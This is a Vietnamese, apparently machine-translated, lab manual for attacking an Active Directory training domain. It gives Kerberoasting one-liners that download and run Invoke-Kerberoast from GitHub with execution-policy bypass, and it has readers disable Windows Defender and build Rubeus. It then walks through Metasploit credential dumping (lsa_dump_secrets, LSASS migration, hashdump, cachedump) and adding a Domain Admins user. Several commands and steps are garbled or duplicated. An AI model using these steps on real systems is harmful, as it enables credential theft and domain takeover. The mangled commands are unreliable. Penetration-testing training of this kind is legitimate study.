Bài tập 1: Khám phá môi trường Active Directory
Mục tiêu
- Trong bài thực hành này, bạn sẽ làm việc trong một miền Active Directory và thực hành các phương pháp và kỹ thuật khám phá thông tin và liệt kê.
- Theo mặc định, máy 2019DC được chọn, nhấn Ctrl + Alt + Delete.
(ảnh chụp màn hình màn hình đăng nhập Windows)
- Nhấn P@ wOrd và nhấn Enter để đăng nhập.
(ảnh chụp màn hình màn hình đăng nhập với thông tin đăng nhập)
- Đầu tiên, chúng ta sẽ xem lại các lệnh để lấy thông tin về miền. Trong cửa sổ dòng lệnh hoặc PowerShell, nhập net user /domain và nhấn Enter. Thao tác này sẽ trả về người dùng trên máy, như trong ảnh chụp màn hình.
(ảnh chụp màn hình kết quả dòng lệnh)
- Tiếp theo, để xem xét kỹ hơn miền, nhập net user /domain và nhấn Enter. Thao tác này sẽ hiển thị tất cả người dùng từ nhóm trong Active Directory.
(ảnh chụp màn hình kết quả dòng lệnh)
- Để xem nhóm người dùng, chúng ta có thể thêm người dùng vào lệnh. Nhập net user one /domain và nhấn Enter. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình.
(ảnh chụp màn hình kết quả dòng lệnh)
- Như ảnh chụp màn hình cho thấy, một danh sách dài thông tin có thể được trích xuất về người dùng.
(ảnh chụp màn hình kết quả dòng lệnh)
- Bây giờ chúng ta đã sẵn sàng khám phá một số khía cạnh khiến Active Directory phức tạp, nhưng lý do chính là cách triển khai Kerberos. Lợi thế chính của Kerberos có thể hơi phức tạp, nhưng đối với phần lớn các cuộc tấn công, nó tận dụng hỗ trợ của Active Directory cho các máy khách của Microsoft. Về cơ bản, khi một tài khoản miền được định cấu hình để chạy một dịch vụ, loại mã hóa được sử dụng, chẳng hạn như mã hóa được sử dụng cho mã hóa và tên chính dịch vụ (SPN), được sử dụng để liên kết dịch vụ với miền. MS SQL và Service Principal Name (SPN) được sử dụng để chạy một dịch vụ Windows. Về cơ bản, khi đăng nhập được liên kết với một dịch vụ, một tài khoản dịch vụ được gán kèm theo. Khi tài khoản dịch vụ này được định cấu hình, dịch vụ này được liên kết với một bí mật. Bí mật được sử dụng để tạo băm NTLM của tài khoản chạy dịch vụ.
- Bây giờ chúng ta sẽ tạo một thư mục mới trên máy tính để bàn và đặt tên là Kerb-Hash. Nhập net user one /domain và nhấn Enter. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình.
(ảnh chụp màn hình kết quả dòng lệnh)
- Bây giờ chúng ta sẽ tạo một thư mục mới trên máy tính để bàn và đặt tên là Kerb-Hash.
(ảnh chụp màn hình kết quả dòng lệnh)
- Mở PowerShell và di chuyển đến vị trí thư mục trong PowerShell như trong ảnh chụp màn hình.
(ảnh chụp màn hình kết quả dòng lệnh)
- Khi bạn đã ở trong cửa sổ PowerShell và trong thư mục bạn đã tạo, hãy nhập lệnh sau:
Lệnh này yêu cầu truy cập Internet, vì vậy nếu bạn không có quyền truy cập, bạn có thể tìm thấy tệp trong thư mục Downloads. Tập lệnh Invoke-Kerberoast PowerShell nằm ở đó.
powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nvwlp/p/master/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat HashCat | Select-Object -ExpandProperty Hash | out-file -Encoding ASCII kerb-hash1.txt"
Use code with caution.Powershell
- Kết quả của lệnh cho thấy rằng băm của người dùng hiện nằm trong thư mục trong một tệp văn bản như trong ảnh chụp màn hình.
(ảnh chụp màn hình kết quả dòng lệnh và thư mục chứa tệp)
- Theo mặc định, bất kỳ người dùng miền nào cũng có quyền trên một miền tiêu chuẩn để yêu cầu bản sao của các tài khoản dịch vụ và băm mật khẩu tương ứng của họ.
- Tiếp theo, đó là vấn đề bẻ khóa băm mật khẩu và có nhiều cách để làm điều này. Cách được minh họa ở đây là sử dụng John the Ripper. Hầu hết các hệ điều hành dựa trên Linux đều được cài đặt sẵn John the Ripper. Một ví dụ về băm đã bị bẻ khóa được hiển thị bên dưới.
(ảnh chụp màn hình kết quả của John the Ripper)
- Vậy, lệnh mà chúng ta vừa thực thi là gì? Giải thích cho việc này như sau: Lệnh này hướng dẫn PS đến WebClient. Tuy nhiên, lần này, Set-ExecutionPolicy được sử dụng để bỏ qua.
- New-Object System.Net.WebClient.DownloadString được sử dụng để tải xuống tập lệnh.
- Lưu ý rằng bạn có thể lấy tập lệnh này từ Windows Server 2016, sau đó tải trực tiếp nó vào bộ nhớ.
- Invoke-Kerberoast -OutputFormat HashCat | Select-Object -ExpandProperty Hash | out-file -Encoding ASCII kerb-hash1.txt chạy Kerberoast, sau đó chọn thuộc tính Hash, sau đó là tệp đầu ra ở định dạng ASCII.
- Các kết quả sẽ được trả về, nhưng trong trường hợp trên máy tính Windows 10 tùy chỉnh, Windows Defender có thể can thiệp, vì vậy chúng tôi đã tiến hành Quét Phần mềm Độc hại thông qua Giao diện Quét Phần mềm Độc hại Nâng cao của Windows (Windows Advanced Malware Scan Interface – AMSI) (Windows 10 trở lên), sau đó thực hiện cuộc tấn công.
- Chuyển sang LPT/User với mật khẩu P@$$wOrd. Đây là một người dùng bình thường, không phải quản trị viên.
- Trên một cửa sổ PowerShell thông thường, hãy dán lệnh từ Bước 11. Kết quả của lệnh được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong PowerShell)
- Như bạn thấy trong ảnh chụp màn hình ở trên, chúng ta không thể chạy lệnh này vào lúc này. Thử từ PowerShell Quản trị viên sẽ cho phép chúng ta chạy nó.
- Như vậy, một phương thức khác là cần thiết.
- Sự thật là bất cứ điều gì chúng ta đang chạy bây giờ có thể bị chặn vào lần sau chúng ta thử, nhưng, với tư cách người kiểm tra, chúng ta có rất nhiều thứ có thể thử.
- Đặt con trỏ vào vị trí chúng ta đang chạy trong Windows Server 2016 mà không cần quyền truy cập internet, nhưng hãy sử dụng chuỗi bỏ qua được đề cập trong bypass Kerberos/bypass:
[System.Net.WebClient]::Create('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1').DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') | iex;Invoke-Kerberoast -OutputFormat Hashcat| Select-Object -ExpandProperty Hash | out-file -Encoding ASCII kerb-hash.txt
Use code with caution.
- Phương thức bỏ qua cũng hoạt động trên các bản dựng Windows Server 2016, cũng như trên máy tính không phải Windows.
(ảnh chụp màn hình kết quả trong PowerShell)
- Đây lại là một thay đổi đối với cuộc tấn công. Do đó, chúng ta cần một phương pháp khác. Mặc dù chúng ta đã thiết lập một công cụ khác mà bạn có thể sử dụng, nhưng chúng ta sẽ xây dựng công cụ từ nguồn vì đây là thông lệ tốt.
- Trước khi làm điều đó, chúng ta sẽ giới thiệu công cụ mà bạn có thể sử dụng. Công cụ là Rubeus từ Github.
- Rubeus là một công cụ C# dành cho các tương tác và lạm dụng Kerberos. Nó được điều chỉnh từ các công cụ Kerberos Benjamin Delpy (ví dụ: Mimikatz, Kekeo) cũng như một số công cụ và ví dụ C# được đăng lên trên các diễn đàn khác nhau (ví dụ: PInvoke.net). Ý tưởng ban đầu của dự án này đến từ Vincent Yvon, với mục đích hợp nhất các tính năng Kerberos quan trọng ở một nơi, và làm cho việc dùng thử các kiểu lạm dụng Kerberos khác nhau dễ dàng hơn nhiều. Dự án này sẽ không tồn tại nếu không có sự hỗ trợ từ nhiều cộng đồng. Cảm ơn nhiều đến Benjamin Delpy vì tất cả công việc của ông ấy về các thành phần cốt lõi của Kerberos và những người khác mà tôi đã cộng tác, bao gồm cả @gentilkiwi. Dự án cũng sử dụng một thư viện phân tích ASN.1 không có phần cứng được phát hành cùng với Mimikatz có tên là Asn1, được viết bởi Thomas Pornin. Rubeus cũng sử dụng một thư viện phân tích ASN.1 không có phần cứng được phát hành cùng với Mimikatz, được viết bởi Thomas Pornin. Rubeus được cấp phép theo “Giấy phép MIT”. Cảm ơn đặc biệt đến @gentilkiwi, @machosec và @staknine. Một số mã cho những công cụ Kerberos cần thiết đã được chuyển đổi từ PowerShell sang C#, sử dụng đoạn mã có nguồn gốc từ những người đóng góp vào dự án PowerView. Do đó, tôi xin cảm ơn Will Schroeder (@harmj0y) vì tất cả công việc của anh ấy về PowerView và những người khác đóng góp. Để xem quyền của BSD 3, hãy tham khảo các tùy chọn được nêu bên ngoài phần ghi nhận này.
- Để xem sức mạnh của công cụ này, hãy tham khảo các tùy chọn cho Kerberoasting được hiển thị trong các ảnh chụp màn hình sau.
Thực hiện kerberoasting (tên người dùng/băm/địa chỉ / miền/tên người dùng/tên người dùng /.../tên người dùng)
Rubeus.exe kerberoast / tên người dùng: [tên người dùng] / miền: [tên miền] / tên người dùng: [tên người dùng/tên người dùng /.../tên người dùng]
Thực hiện kerberoasting, xuất các băm ra một tệp
Rubeus.exe kerberoast / tên người dùng: [tên người dùng] / miền: [tên miền] / tên người dùng: [tên người dùng/tên người dùng /.../tên người dùng] / outf: [tệp]
Thực hiện kerberoasting, xuất băm ở định dạng tệp băm, nhưng xuất ra bàn điều khiển
Rubeus.exe kerberoast / tên người dùng: [tên người dùng] / miền: [tên miền] / tên người dùng: [tên người dùng/tên người dùng /.../tên người dùng] / formatas: hashcat
Thực hiện kerberoasting với thông tin đăng nhập được cung cấp
Rubeus.exe kerberoast / tên người dùng: [tên người dùng] / mật khẩu: [mật khẩu] / miền: [tên miền] / tên người dùng: [tên người dùng/tên người dùng /.../tên người dùng]
Thực hiện kerberoasting với thông tin đăng nhập thay thế
Rubeus.exe kerberoast / thông tin đăng nhập:[tên miền]\[tên người dùng]:[mật khẩu] / tên người dùng:[tên người dùng/tên người dùng /.../tên người dùng]
Thực hiện kerberoasting bằng cách sử dụng TGT hiện có
Rubeus.exe kerberoast / tgt
Thực hiện kerberoasting bằng vé TGT hiện có để yêu cầu vé TGS cho tất cả tài khoản dịch vụ
Rubeus.exe kerberoast / ticket: [vé TGT]
Liệt kê tất cả SPN được tìm thấy, sử dụng bộ lọc và không thực sự gửi yêu cầu
Rubeus.exe kerberoast / findspn
Liệt kê thống kê về các SPN được tìm thấy, sử dụng bộ lọc và không thực sự gửi yêu cầu
Rubeus.exe kerberoast / findspn / stats
Thực hiện kerberoasting, chỉ trả về vé cho tài khoản với một số tiền cụ thể (ví dụ: bộ lọc LDAP)
Rubeus.exe kerberoast / filter: [bộ lọc] / tên người dùng: [tên người dùng]
Thực hiện kerberoast, chỉ trả về vé cho tài khoản được thay đổi mật khẩu lần cuối giữa 01-01-2009 và 01-29-2009
Rubeus.exe kerberoast / passwordlastset:01/01/2009-01/29/2009 / tên người dùng: [tên người dùng]
Thực hiện kerberoast, chỉ trả về vé cho tài khoản mà kết quả của [resultattribute] nằm giữa 01-01-2009 và 01-29-2009
Rubeus.exe kerberoast / resultattributefilter:lastLogon=01/01/2009-01/29/2009 / tên người dùng: [tên người dùng]
Thực hiện "roasting AS-REP" cho mọi người dùng
Rubeus.exe asreproast / tên người dùng: [tên người dùng] / miền: [tên miền CONTROLER] / ... / tên người dùng: [tên người dùng]
Thực hiện "roasting AS-REP" cho mọi người dùng có pwnuth
Rubeus.exe asreproast / tên người dùng: [tên người dùng có pwnuth]
Thực hiện "roasting AS-REP" cho mọi người dùng có pwnuth, xuất định dạng băm ra một tệp
Rubeus.exe asreproast / tên người dùng: [tên người dùng có pwnuth] / outf: [tệp] / formatas: [hashcat, john]
Use code with caution.
- Chúng ta cần biên dịch mã, vì vậy chúng ta sẽ trải qua quy trình liên quan. Vì nó nằm trong Windows, chúng ta cần sử dụng máy ảo.
- Đăng nhập vào máy ảo Windows với tư cách LPT\Administrator với mật khẩu P@$$wOrd.
- Trước khi làm bất cứ điều gì khác, hãy vô hiệu hóa Windows Defender vì điều này có thể gây ra sự cố trong các bài kiểm tra tiếp theo. Điều hướng đến C:\Users\LPT\Downloads\Rubeus-master\Rubeus-master và nhấp đúp vào tệp Rubeus. Một ví dụ về tệp được trích xuất được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình thư mục chứa tệp)
- Nếu cửa sổ bật lên “bạn muốn mở tệp này bằng gì” xuất hiện, hãy chọn Visual Studio 2019 và nhấp vào OK.
(ảnh chụp màn hình cửa sổ bật lên)
- Nhấp vào nút Bắt đầu, như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình nút bắt đầu)
- Nếu bạn có tài khoản Microsoft, hãy nhấp vào Đăng nhập hoặc Tạo tài khoản mới.
(ảnh chụp màn hình trang đăng nhập Visual Studio)
- Trong cửa sổ bật lên đăng nhập vào tài khoản của bạn, hãy cung cấp thông tin đăng nhập và nhấp vào Đăng nhập.
(ảnh chụp màn hình cửa sổ bật lên đăng nhập)
- Sau khi bạn đã đăng nhập vào Visual Studio, hãy nhấp vào Đóng.
(ảnh chụp màn hình cửa sổ xác minh tài khoản)
- Bạn mong đợi mã sẽ được biên dịch, nhưng Windows Defender sẽ chặn nó. Vô hiệu hóa Windows Defender và thử lại.
- Bây giờ bạn sẽ thành công, như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình Visual Studio đang biên dịch)
- Bây giờ chúng ta đã xây dựng tệp, hãy thử xem nó có thành công không. Tệp thực thi nằm trong thư mục gỡ lỗi trong thư mục Downloads.
(ảnh chụp màn hình thư mục chứa tệp thực thi)
- Bây giờ tệp thực thi đã được xây dựng, hãy mở một cửa sổ dòng lệnh và ở đó nhập Rubeus.exe kerberoast /format:hashcat /user:one. Sau đó nhập dir. Một ví dụ về kết quả của các lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình dòng lệnh và kết quả)
- Tiếp theo, mở tệp trong Notepad++. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình Notepad++ hiển thị tệp)
- Trong khi lệnh trả về kết quả ở định dạng băm, nó cần một chút chỉnh sửa. Đánh dấu phần băm của kết quả, như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình Notepad++ hiển thị phần được đánh dấu của tệp)
- Sao chép và dán băm vào một tệp Notepad++ mới. Đánh dấu dòng đầu tiên của khoảng trắng nhưng không đánh dấu bất kỳ phần nào của văn bản. Tham khảo ảnh chụp màn hình sau để biết ví dụ.
(ảnh chụp màn hình Notepad++ hiển thị phần được đánh dấu của tệp)
- Tiếp theo, mở Tìm kiếm | Tìm và chọn tab Thay thế. Trong tab Tìm, hãy thêm không có gì vào Thay thế bằng: và chọn Thay thế tất cả. Một ví dụ được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình hộp thoại tìm và thay thế)
- Một ví dụ về kết quả của Bước 42 được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình notepad++ hiển thị băm đã xử lý)
- Cuối cùng, nó ở định dạng băm.
- Tiếp theo, chúng ta sẽ xem xét RiskySPN. Đây là một công cụ khác mà chúng ta có thể sử dụng và nó có sẵn trong máy Windows 2016 của bạn.
- Điều hướng đến thư mục Rubeus trong PowerShell của bạn và nhập Import-Module .\RiskySPN.psm1 để nhập mô-đun.
- Có thể chúng ta sẽ gặp phải lỗi khi nhập trực tiếp, vì vậy bây giờ chúng ta sẽ thay đổi cấu hình. Chúng ta có nhiều phương pháp để bỏ qua nhưng chúng ta sẽ bỏ qua việc thực thi chính sách trực tiếp. Nhập Get-ExecutionPolicy trong PowerShell quản trị viên. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình PowerShell quản trị viên và kết quả)
- Vì chúng ta không được phép chạy, hãy nhập Set-ExecutionPolicy Unrestricted.
- Bây giờ, hãy thử lại để tải mô-đun, nhập Import-Module .\RiskySPN.psm1.
- Vẫn không thành công do bị chặn ở thuộc tính, do đó chúng ta có thể thay đổi cài đặt trong thuộc tính tệp như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình thuộc tính tệp RiskySPN.psm1)
- Chúng ta cũng có thể sử dụng tùy chọn trong lệnh PowerShell. Nhập Unblock-File .\RiskySPN.ps1.
- Bây giờ mô-đun đã được tải, hãy nhập Find-PotentiallyCrackableAccounts.ps1. Khi nó hoạt động, kết quả sẽ xuất hiện như trong ảnh chụp màn hình sau. Lưu ý rằng, trong trường hợp này, bạn sẽ không thấy băm nào xuất hiện vì máy chủ đã được vá. Bất kể, trên máy Windows chưa được vá, bạn sẽ thấy băm.
(ảnh chụp màn hình kết quả trong PowerShell)
- Các công cụ hoạt động tốt, nhưng một lần nữa, chúng ta phải có PowerShell quản trị viên.
- Nhập đoạn mã sau để trích xuất khóa:
Find-PotentiallyCrackableAccount | Stealth | GetSPNs | Get-TGScipher
Use code with caution.
- Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình tiếp theo trên một máy chưa được vá, được cung cấp để bạn tham khảo.
(ảnh chụp màn hình kết quả trong PowerShell)
- Như chúng ta đã thảo luận, điều này có thể là một thách thức. Lựa chọn tốt nhất là sử dụng Linux, miễn là chúng ta có thể lấy được thông tin đăng nhập cho bất kỳ người dùng nào.
- Có các công cụ Linux mà chúng ta cũng có thể sử dụng.
- Giờ chúng ta đã đăng nhập vào máy, hãy mở cửa sổ Putty. Chúng ta sẽ sử dụng công cụ impacket. Giải thích về công cụ này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình cửa sổ Putty)
- Điều hướng đến thư mục Downloads/impacket/examples. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình cửa sổ trình thám hiểm tệp)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta có một số công cụ khác nhau. Bạn có thể khám phá những công cụ này thêm trong tương lai. Đối với mục đích của chúng ta, chúng ta quan tâm đến GetSPNs.py.
- Trước khi bắt đầu, hãy thêm một mục nhập trong tệp /etc/hosts để chúng ta có thể tham chiếu đến tên miền. Mở tệp yêu thích của bạn và nhập địa chỉ IP được ánh xạ đến tên miền, như trong ảnh chụp màn hình sau.
(ảnh chụp màn hình tệp hosts)
- Lưu tệp và nhập ./GetSPNs.py -request LPT.com/CPENT. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong Putty)
- Nếu bạn gặp lỗi Clock skew, đó là do đồng bộ hóa thời gian không phù hợp. Bạn có thể thay đổi, nhưng hầu hết thời gian, cách tốt nhất là đồng bộ hóa lại với Bộ điều khiển Miền. Các lệnh được hiển thị bên dưới. Nhập sdomain ntpdate 192.168.177.50 ntpdate 192.168.177.50 offset = +0818.
(ảnh chụp màn hình lệnh trong Putty)
- Điều này đồng bộ hóa thời gian. Chạy lệnh lại. Một ví dụ về kết quả được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong Putty)
- Điều này dễ dàng hơn nhiều so với việc thử trên máy thực tế. Miễn là chúng ta có thông tin đăng nhập của người dùng, chúng ta có thể sử dụng tuyến đường này. Điều quan trọng cần hiểu là Kerberoasting thu thập các tài khoản dịch vụ cùng với băm mật khẩu tương ứng của chúng.
- Có thể đảo ngược các băm này trong thời gian tương đối ngắn nếu mật khẩu dựa trên một từ được xác định yếu. Các doanh nghiệp nên xem lại các tài khoản dịch vụ của họ và thực sự nên có các tài khoản dịch vụ của riêng họ.
- Thử nghiệm thâm nhập đòi hỏi chuyên môn và nên được thiết lập với một bộ tài khoản dịch vụ không phải là từ điển.
- Trong thử nghiệm thâm nhập, những người bẻ khóa sẽ mất nhiều thời gian để nhận ra rằng họ đang sử dụng mật khẩu mạnh hoặc cụm mật khẩu, điều mà chúng ta sẽ sử dụng như một yếu tố ngăn chặn. Một phương pháp khác là thiết lập xác thực đa yếu tố.
- Tiếp theo, chúng ta sẽ xem xét khả năng liệt kê và khai thác Active Directory.
- Như chúng ta đã biết, để thực hiện tốt nhất điều này, chúng ta phải có quyền truy cập vào một máy trong Active Directory.
- Trong máy chủ parrot postgresql, hãy khởi động công cụ Metasploit bằng cách nhập hai lệnh sau:
msfconsole start
Use code with caution.
- Khi bảng điều khiển đã tải, hãy nhập active directory. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta có thể sử dụng điều này khi chúng ta có quyền truy cập vào shell. Bây giờ chúng ta hãy xem xét mô-đun tiếp theo. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta có thể sử dụng điều này khi chúng ta có quyền truy cập vào shell. Hãy xem xét mô-đun tiếp theo.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, chúng ta có thể sử dụng điều này khi chúng ta có quyền truy cập vào shell. Hãy xem xét mô-đun tiếp theo.
(ảnh chụp màn hình kết quả trong msfconsole)
- Một ví dụ về lệnh info được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như chúng ta có thể thấy, chúng ta có khá nhiều thông tin mà mô-đun này có thể trích xuất. Như với hầu hết các mô-đun này, chúng ta cần thông tin đăng nhập của máy bị xâm nhập để làm được điều này.
- Chúng ta đã khám phá nhiều loại tấn công Active Directory khác nhau. Một điểm quan trọng ở đây, tương tự như các cuộc tấn công khác, là những thông tin đăng nhập đó với quyền truy cập vào máy bên trong miền.
- Lưu ý rằng chúng ta đã thực hiện tất cả các cuộc tấn công này mà không cần sử dụng mimikatz. Mục tiêu của bài học này đã đạt được.
Bài tập 2: Khám phá sức mạnh của Metasploit
Mục tiêu
- Trong bài thực hành này, bạn sẽ làm việc trong một miền Active Directory và thực hành các phương pháp và kỹ thuật khám phá và liệt kê thông tin.
Thời lượng bài thực hành: 20 phút
- Theo mặc định, máy 2019DC được chọn. Chọn ParrotAD để chọn máy Parrot.
- Nhập toor trong trường Mật khẩu và nhấn Enter để đăng nhập.
(ảnh chụp màn hình màn hình đăng nhập)
- Nhấp vào biểu tượng MATE Terminal ở đầu cửa sổ Desktop để mở cửa sổ terminal.
- Tạo một tệp thực thi có thể phát lại bằng công cụ msfvenom trong ParrotAD của bạn. Chúng ta đã mô tả các bước và quy trình. Sau khi bạn tạo tệp thực thi, hãy chuyển tệp đó sang máy Windows bằng bất kỳ phương pháp nào chúng ta đã đề cập. Đảm bảo Windows Defender đã bị tắt trước khi bạn chuyển tệp.
- Thiết lập bộ khai thác Metasploit trên hệ thống của bạn.
- Khi tệp được chuyển, hãy nhấp đúp vào nó. Bạn sẽ có phiên Metasploit của mình. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Bây giờ chúng ta đã có shell Metasploit, hãy nhập background.
- Tiếp theo, hãy sử dụng post/windows/gather/enum_domain trên máy, tên miền. Không có giới hạn! Kết quả từ mô-đun được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Tiếp theo, chúng ta chỉ cần đặt SESSION và nhập run. Một ví dụ về kết quả được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Tiếp theo, hãy liệt kê người dùng và máy tính bằng cách nhập post/windows/gather/enum_computers.
- Liệt kê người dùng bằng cách nhập post/windows/gather/enum_logged_on_users.
- Tiếp theo, chúng ta sẽ xem xét post/windows/gather/enum_domain_tokens. Sử dụng các khả năng mới này của Metasploit, cùng với sự trợ giúp của Windows API mở rộng, hãy liệt kê các token miền. Các khả năng của tiện ích mở rộng Api bao gồm các truy vấn Microsoft Windows Management Instrumentation (WMI), các truy vấn Active Directory Service Interfaces (ADSI) và truy vấn SAM cục bộ.
- Chuyển sang phiên Metasploit và nhập load extapi.
- Để xem các tùy chọn được hiển thị trong ảnh chụp màn hình sau, hãy nhập extapi. Như ảnh chụp màn hình cho thấy, rất nhiều tùy chọn hiện có sẵn với extapi.
(ảnh chụp màn hình kết quả trong msfconsole)
- Lựa chọn đầu tiên chúng ta sẽ xem xét là windows. Nhập enum window. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
- Ảnh chụp màn hình cho thấy chúng ta có một danh sách tất cả các quy trình đang mở trên mục tiêu với ID quy trình của chúng.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta đã có quyền truy cập vào một số thông tin quan trọng của miền. Tuy nhiên, chúng ta sẽ không bao giờ tự giới hạn mình trong khả năng tìm thấy nhiều thông tin hơn về mục tiêu.
- Công cụ tiếp theo chúng ta sẽ xem xét là PsExec rất mạnh mẽ.
- Trang web của Microsoft mô tả PsExec như sau: “PsExec là một tiện ích dòng lệnh nhẹ cho phép bạn thực thi các quy trình trên các hệ thống khác nhau, mà không cần cài đặt phần mềm máy khách thủ công.”
- Các lệnh hữu ích nhất của PsExec bao gồm cả lệnh tương tác cũng như không tương tác. Lệnh tương tác cũng có thể được sử dụng như một trình bao để chạy nhiều lệnh khác nhau.
- Kể từ khi chúng ta đã có quyền truy cập root trong một cuộc tấn công, chúng ta không cần phải bẻ khóa đăng nhập để sử dụng máy và thực hiện các lệnh tùy ý.
- Vì chúng ta đã có quyền truy cập vào Bộ điều khiển Miền, chúng ta có thể trực tiếp tải mô-đun và nhập như sau:
exploit/windows/smb/psexec
info
Use code with caution.
- Một ví dụ về kết quả của các lệnh được đề cập trong Bước 22 được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Nếu bạn có thông tin đăng nhập, bạn có thể thử và thực thi lệnh. Tuy nhiên, bạn sẽ phải vô hiệu hóa các biện pháp bảo vệ để thành công. Lại một lần nữa, nó hoạt động trên các máy không có biện pháp bảo vệ.
- Metasploit cung cấp các mô-đun và tiện ích mở rộng để thực hiện các loại tấn công mật khẩu khác nhau, bao gồm tấn công brute-force, tấn công từ điển và tấn công cầu vồng. Ngoài ra còn có các mô-đun để trích xuất băm, vé Kerberos và các thông tin nhạy cảm khác từ bộ nhớ. Khả năng tạo vé vàng cũng làm cho mô-đun mạnh mẽ hơn nhiều. Hãy xem xét kiwi trong Metasploit. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Tiếp theo, nhập kiwi để xem các tùy chọn có sẵn. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Nhập lsa_dump_secrets để xem chúng ta có thể dump bất kỳ thông tin nào không.
- Như ảnh chụp màn hình cho thấy, chúng ta không thể dump thông tin. Kết quả của shell mà chúng ta có quyền truy cập bị hạn chế.
(ảnh chụp màn hình kết quả trong msfconsole)
- Một ví dụ về kết quả có sẵn cho quyền truy cập cấp SYSTEM được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Vì vậy, chúng ta cũng cần leo thang đặc quyền. Đây là lý do tại sao lệnh này cũng không thành công. Chúng ta có thể thử getsystem. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Giờ chúng ta đã có SYSTEM, hãy nhập lsa_dump_secrets lại. Một ví dụ về kết quả được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta có thể thấy rằng chúng ta đã dump thành công các băm NTLM và SHA1. Chúng ta có đủ thông tin để nhận Vé Vàng, nhưng chúng ta sẽ làm điều đó sau. Hiện tại, hãy chuyển sang nền phiên và chạy lại lệnh psexec.
- Điều này vẫn chưa hiệu quả vì chúng ta không nằm trong shell Metasploit, chúng ta không có SYSTEM. Nhập sessions -l. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Như ảnh chụp màn hình ở trên cho thấy, phiên là SYSTEM. Do đó, chúng ta cần di chuyển đến quy trình LSASS bằng lệnh migrate. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Tiếp theo, nhập hashdump để dump các băm mật khẩu. Kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Điều tiếp theo chúng ta sẽ xem xét là khả năng cachedump. Nhập post/windows/gather/cachedump. Sau đó nhập info. Kết quả của các lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Sau khi chúng ta đặt SESSION và nhập run, chúng ta có nhiều dữ liệu và băm hơn. Chúng ta đã sẵn sàng post/windows/manage/add_user.
- Nhập info để xem lại các tính năng. Một ví dụ về kết quả của lệnh này được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Bây giờ chúng ta sẽ đặt các tùy chọn. Nhập các lệnh sau và thay đổi giá trị nếu cần:
set GROUP Domain Admins
set PASSWORD Thisisthepassword
set SESSION 1
set USERNAME tester
run
Use code with caution.
- Một ví dụ về kết quả từ mô-đun run được hiển thị trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta có thể thử lấy shell trên người dùng thử nghiệm bằng cách nhập shell net user tester P@$$wOrd@12345 /ADD. Kết quả của lệnh này được hiển thị đầy đủ trong ảnh chụp màn hình sau.
(ảnh chụp màn hình kết quả trong msfconsole)
- Chúng ta không thể thêm chúng vào nhóm Quản trị miền vì chúng ta không nằm trên Bộ điều khiển Miền. Do đó, chúng ta cần xem xét lại. Để xem net user,
(ảnh chụp màn hình kết quả trong msfconsole)
